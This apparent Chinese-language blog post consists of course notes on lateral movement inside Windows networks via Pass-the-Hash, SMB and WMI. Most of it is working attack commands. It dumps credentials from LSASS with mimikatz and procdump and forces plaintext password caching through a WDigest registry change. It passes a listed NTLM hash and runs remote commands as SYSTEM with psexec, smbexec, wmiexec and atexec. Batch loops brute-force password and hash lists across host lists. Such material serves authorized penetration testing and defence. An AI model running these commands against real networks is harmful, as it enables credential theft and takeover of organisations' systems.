内网渗透——PTH,SMB及WMI横向移动

PTH,SMB及WMI横向移动
利用NTLM、Kerberos及SMB等协议。
攻击者进入内网后会进行横向移动建立多个立足点,常见的技巧包括凭证窃取、横向移动、Pass The Hash(hash传递)、导出域成员Hash、黄金白银票据、MS14-068,MS17-010等。其中本次课程将围绕NTLM,SMB协议相关攻击进行讲解,涉及明文 及Hash在获取后的相关测试思路。

知识普及:
135端口:
RPC 远程过程调用服务。WMIC用到这个端口,winsows management instrumentation
检测:
nmap ip
telnet ip 135
wmic /node:ip /user:用户名 /password:密码 PROCESS call create "calc.exe" //打开一个计算器
wmic /node:192.168.33.141 /user:administrator /password:wang PROCESS call create "calc.exe"
445端口:共享文件夹,共享打印机


Hash获取

#mimikatz //主要使用
mimikatz.exe上执行:
privilege::debug
sekurlsa::logonpasswords full
有个NTLM值
LM:2008之前用的密码传递方式
NTLM:2008之后采用的密码传递方式,里面的值就是哈希值

当目标为win10或2012R2以上时,默认在内存缓存中禁止保存明文密码,但可以通过修改注册表的方式抓取明文。
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

#procdump //不太强大,唯一的好处就是免杀的,微软官方的产品
procdump.exe -accepteula -ma lsass.exe lsass.dmp //导出名字为lsass.dup
mimikatz.exe上执行(还原哈希凭据):
sekurlsa::minidump lsass.dmp //导出
sekurlsa::logonPasswords full //还原

Hash解密
Hashcat
第三方解密平台


PTH传递(不太推荐)
弹出一个窗口
#适用范围:
域/工作组环境
内网中存在和当前机器相同的密码
mimikatz.exe上执行:
privilege::debug
sekurlsa::pth /user:administrator /domain:god.org /ntlm:ccef208c6485269c20db2cad21734fe7
可以远程访问
#测试net use \\192.168.3.21\c$
dir \\OWA2010CN-God.god.org\c$


横向渗透SMB 445端口 (有点难度)
#利用SMB服务需要先建立IPC,可以通过hash传递来远程执行,默认回来System权限,需要目标防火墙开启445并允许通过。

#在psexec中由于其利用条件和监控严格后,逐渐开始使用WMI进行攻击。WMI可以描述为管理Windows系统的方法和功能。我们可以把它当作API来与Win系统进行相互交流。WMI在渗透测试中的价值在于它不需要下载和安装,WMI是Windows系统自带功能。而且整个运行过程都在计算机内存中发生,不会留下任何痕迹。
https://www.cnblogs.com/sup3rman/p/12381874.html

#psexec 需要先有ipc链接 明文或hash传递(所以不太推荐)
PS-tool里面有
psexec \\192.168.3.21 cmd # 需要先有ipc链接
psexec \\192.168.3.21 -u administrator -p password cmd 
# 直接提供明文账户密码,可以不用建立IPC
psexec \\192.168.3.21 -u administrator -p password -s cmd 
# -s 指定以System权限运行
psexec.exe -hashes :$HASH$ ./administrator@10.1.2.3
psexec -hashes :$HASH$ domain/administrator@10.1.2.3
psexec -hashes :ccef208c6485269c20db2cad21734fe7 ./administrator@192.168.3.21

#smbexec 无需先ipc链接 明文或hash传递 exe版本,下面有下载连接
smbexec ./admin:password@192.168.3.21 //普通用户密码连接
smbexec domain/admin:password@192.168.3.21 //域密码连接
smbexec -hashes :$HASH$ ./admin@192.168.3.21
smbbexec -hashes :$HASH$ domain/admin@192.168.3.21
smbexec -hashes :ccef208c6485269c20db2cad21734fe7 ./administrator@192.168.3.21 //哈希连接
在内网中,知道明文密文都可以通过这种连接


横向渗透WMI(推荐)
#自带WMIC 明文传递 无回显
wmic /node:192.168.3.21 /user:administrator /password:Admin12345 process call create "cmd.exe /c ipconfig >C:\1.txt"
写入命令到192.168.3.21

#自带cscript明文传递 有回显 //需要下载个wmiexec.vbs
cscript //nologo wmiexec.vbs /shell 192.168.3.21 administrator Admin12345

#套件impacket wmiexec 明文或hash传递 有回显
#py版本
#exe版本
wmiexec ./administrator:Admin12345@192.168.3.21 "whoami"
wmiexec -hashes :$HASH$ ./admin@192.168.3.21 "whoami"
wmiexec -hashes :ccef208c6485269c20db2cad21734fe7 ./administrator@192.168.3.21 "whoami"


#批量测试内网主机用户密码

FOR /F %%i in (ips.txt) do wmiexec.exe -hashes :HASH ./administrator@%%i  whoami 
#利用hash验证主机列表ips.txt
atexec.exe换成wmiexec.exe

FOR /F %%i in (hashes.txt) do atexec.exe -hashes %%i ./administrator@192.168.3.76  whoami 
#指定主机进行用户hash列表(hashes.txt)爆破

FOR /F %%i in (passwords.txt) do atexec.exe  ./administrator:%%i@192.168.3.76  whoami 
#指定主机进行明文密码列表(passwords.txt)爆破

FOR /F %%i in (ips.txt) do atexec.exe ./administrator:password123@%%i  whoami  
# 利用明文密码验证主机列表ips.txt

推荐手写,可以提高自己技术
k8scan 国产的 改名了k8 ladon
https://github.com/k8gege/Ladon

涉及资源:
https://github.com/hashcat/hashcat
https://github.com/gentilkiwi/mimikatz/releases
https://github.com/SecureAuthCorp/impacket
https://gitee.com/RichChigga/impacket-examples-windows
https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump

posted @ 2020-09-20 14:44  包子TT  阅读(2401)  评论(0编辑  收藏  举报